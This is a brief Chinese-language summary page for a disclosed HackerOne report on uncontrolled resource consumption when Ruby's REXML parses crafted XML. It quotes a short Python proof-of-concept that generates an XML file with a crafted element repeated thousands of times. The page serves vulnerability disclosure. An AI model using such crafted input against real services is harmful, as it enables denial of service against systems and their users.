Uncontrolled Resource Consumption when parsing maliciously crafted XML with REXML
该报告还没有中文解读。
原文摘录
摘自原文(8765 字符中的一小部分)
and then redirect the output of this program to a file: `python pwn.py > pwn.xml`
原文中的代码
start = "" middle = "<a xml:b=\"\" b=\"\">" + "<D>" * 1 end = "" print(start) COUNT = 2000 for _ in range(COUNT): print(middle) print(end)
默认不展示报告全文。以上为简短摘录,完整复现过程请阅读原文。版权归研究员与 Ruby 所有。
时间线
- 报告提交
- 公开披露
阅读 HackerOne 原文 ↗作者 @l33thaxor · 版权归作者与 Ruby 所有